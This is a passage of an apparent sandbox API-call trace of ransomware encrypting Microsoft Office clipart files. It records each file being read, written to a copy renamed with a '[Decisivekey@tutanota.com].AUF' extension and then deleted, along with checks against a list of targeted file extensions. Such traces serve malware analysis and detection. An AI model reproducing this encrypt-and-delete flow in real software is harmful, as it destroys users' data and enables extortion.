lpNumberOfBytesWritten=0x2d1fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0218.726] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.726] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.727] SetEndOfFile (hFile=0x184) returned 1 [0218.727] CloseHandle (hObject=0x184) returned 1 [0218.727] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.727] SetEndOfFile (hFile=0x1f8) returned 1 [0218.727] CloseHandle (hObject=0x1f8) returned 1 [0218.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0218.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0218.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0218.728] lstrlenW (lpString=".doc") returned 4 [0218.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.728] lstrlenW (lpString=".docx") returned 5 [0218.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.728] lstrlenW (lpString=".pdf") returned 4 [0218.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.728] lstrlenW (lpString=".xls") returned 4 [0218.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.728] lstrlenW (lpString=".xlsx") returned 5 [0218.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.728] lstrlenW (lpString=".ppt") returned 4 [0218.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0218.728] lstrlenW (lpString=".zip") returned 4 [0218.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.728] lstrlenW (lpString=".rar") returned 4 [0218.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.728] lstrlenW (lpString=".bz2") returned 4 [0218.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.728] lstrlenW (lpString=".7z") returned 3 [0218.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0218.729] lstrlenW (lpString=".dbf") returned 4 [0218.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0218.729] lstrlenW (lpString=".1cd") returned 4 [0218.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0218.729] lstrlenW (lpString=".jpg") returned 4 [0218.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.729] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3948) returned 1 [0218.729] CloseHandle (hObject=0x1f8) returned 1 [0218.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0218.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.730] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.730] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.730] GetLastError () returned 0x0 [0218.730] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xf6c, lpOverlapped=0x0) returned 1 [0218.739] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf70, lpOverlapped=0x0) returned 1 [0218.742] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.742] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.742] SetEndOfFile (hFile=0x184) returned 1 [0218.742] CloseHandle (hObject=0x184) returned 1 [0218.742] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.742] SetEndOfFile (hFile=0x1f8) returned 1 [0218.744] CloseHandle (hObject=0x1f8) returned 1 [0218.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0218.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0218.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0218.744] lstrlenW (lpString=".doc") returned 4 [0218.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.745] lstrlenW (lpString=".docx") returned 5 [0218.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.745] lstrlenW (lpString=".pdf") returned 4 [0218.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.745] lstrlenW (lpString=".xls") returned 4 [0218.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.745] lstrlenW (lpString=".xlsx") returned 5 [0218.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.745] lstrlenW (lpString=".ppt") returned 4 [0218.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0218.745] lstrlenW (lpString=".zip") returned 4 [0218.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.745] lstrlenW (lpString=".rar") returned 4 [0218.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.758] lstrlenW (lpString=".bz2") returned 4 [0218.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.758] lstrlenW (lpString=".7z") returned 3 [0218.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0218.758] lstrlenW (lpString=".dbf") returned 4 [0218.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0218.758] lstrlenW (lpString=".1cd") returned 4 [0218.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0218.758] lstrlenW (lpString=".jpg") returned 4 [0218.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.807] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.807] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.813] GetLastError () returned 0x0 [0218.813] ReadFile (in: hFile=0x1e8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x976, lpOverlapped=0x0) returned 1 [0218.816] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x980, lpOverlapped=0x0) returned 1 [0218.817] ReadFile (in: hFile=0x1e8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.817] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.817] SetEndOfFile (hFile=0x184) returned 1 [0218.817] CloseHandle (hObject=0x184) returned 1 [0218.817] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.817] SetEndOfFile (hFile=0x1e8) returned 1 [0218.818] CloseHandle (hObject=0x1e8) returned 1 [0218.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0218.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0218.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0218.818] lstrlenW (lpString=".doc") returned 4 [0218.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.818] lstrlenW (lpString=".docx") returned 5 [0218.818] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0218.818] lstrlenW (lpString=".pdf") returned 4 [0218.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.818] lstrlenW (lpString=".xls") returned 4 [0218.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.818] lstrlenW (lpString=".xlsx") returned 5 [0218.818] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0218.818] lstrlenW (lpString=".ppt") returned 4 [0218.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0218.819] lstrlenW (lpString=".zip") returned 4 [0218.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.819] lstrlenW (lpString=".rar") returned 4 [0218.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString=".bz2") returned 4 [0218.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString=".7z") returned 3 [0218.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0218.819] lstrlenW (lpString=".dbf") returned 4 [0218.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0218.819] lstrlenW (lpString=".1cd") returned 4 [0218.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0218.819] lstrlenW (lpString=".jpg") returned 4 [0218.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.819] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=49546) returned 1 [0218.820] CloseHandle (hObject=0x1e8) returned 1 [0218.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0218.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0218.820] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.820] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.820] GetLastError () returned 0x0 [0218.820] ReadFile (in: hFile=0x1e8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xc18a, lpOverlapped=0x0) returned 1 [0218.830] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xc190, lpOverlapped=0x0) returned 1 [0218.831] ReadFile (in: hFile=0x1e8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.831] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.831] SetEndOfFile (hFile=0x184) returned 1 [0218.831] CloseHandle (hObject=0x184) returned 1 [0218.831] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.831] SetEndOfFile (hFile=0x1e8) returned 1 [0218.832] CloseHandle (hObject=0x1e8) returned 1 [0218.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0218.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0218.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0218.833] lstrlenW (lpString=".doc") returned 4 [0218.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.833] lstrlenW (lpString=".docx") returned 5 [0218.833] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0218.833] lstrlenW (lpString=".pdf") returned 4 [0218.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.833] lstrlenW (lpString=".xls") returned 4 [0218.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.833] lstrlenW (lpString=".xlsx") returned 5 [0218.833] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0218.833] lstrlenW (lpString=".ppt") returned 4 [0218.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0218.833] lstrlenW (lpString=".zip") returned 4 [0218.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.833] lstrlenW (lpString=".rar") returned 4 [0218.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.833] lstrlenW (lpString=".bz2") returned 4 [0218.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.833] lstrlenW (lpString=".7z") returned 3 [0218.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0218.833] lstrlenW (lpString=".dbf") returned 4 [0218.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0218.833] lstrlenW (lpString=".1cd") returned 4 [0218.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0218.833] lstrlenW (lpString=".jpg") returned 4 [0218.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.845] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=10326) returned 1 [0218.845] CloseHandle (hObject=0x184) returned 1 [0218.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0218.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.845] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.845] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0218.845] GetLastError () returned 0x0 [0218.846] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2856, lpOverlapped=0x0) returned 1 [0218.869] WriteFile (in: hFile=0x168, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2860, lpOverlapped=0x0) returned 1 [0218.870] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.870] WriteFile (in: hFile=0x168, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0218.870] SetEndOfFile (hFile=0x168) returned 1 [0218.880] CloseHandle (hObject=0x168) returned 1 [0218.881] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.881] SetEndOfFile (hFile=0x184) returned 1 [0218.881] CloseHandle (hObject=0x184) returned 1 [0218.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0218.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0218.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0218.882] lstrlenW (lpString=".doc") returned 4 [0218.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.882] lstrlenW (lpString=".docx") returned 5 [0218.882] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0218.882] lstrlenW (lpString=".pdf") returned 4 [0218.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.882] lstrlenW (lpString=".xls") returned 4 [0218.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.882] lstrlenW (lpString=".xlsx") returned 5 [0218.882] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0218.882] lstrlenW (lpString=".ppt") returned 4 [0218.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0218.882] lstrlenW (lpString=".zip") returned 4 [0218.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.882] lstrlenW (lpString=".rar") returned 4 [0218.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.882] lstrlenW (lpString=".bz2") returned 4 [0218.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.882] lstrlenW (lpString=".7z") returned 3 [0218.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0218.882] lstrlenW (lpString=".dbf") returned 4 [0218.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0218.882] lstrlenW (lpString=".1cd") returned 4 [0218.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0218.882] lstrlenW (lpString=".jpg") returned 4 [0218.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.883] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=8256) returned 1 [0218.884] CloseHandle (hObject=0x184) returned 1 [0218.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: 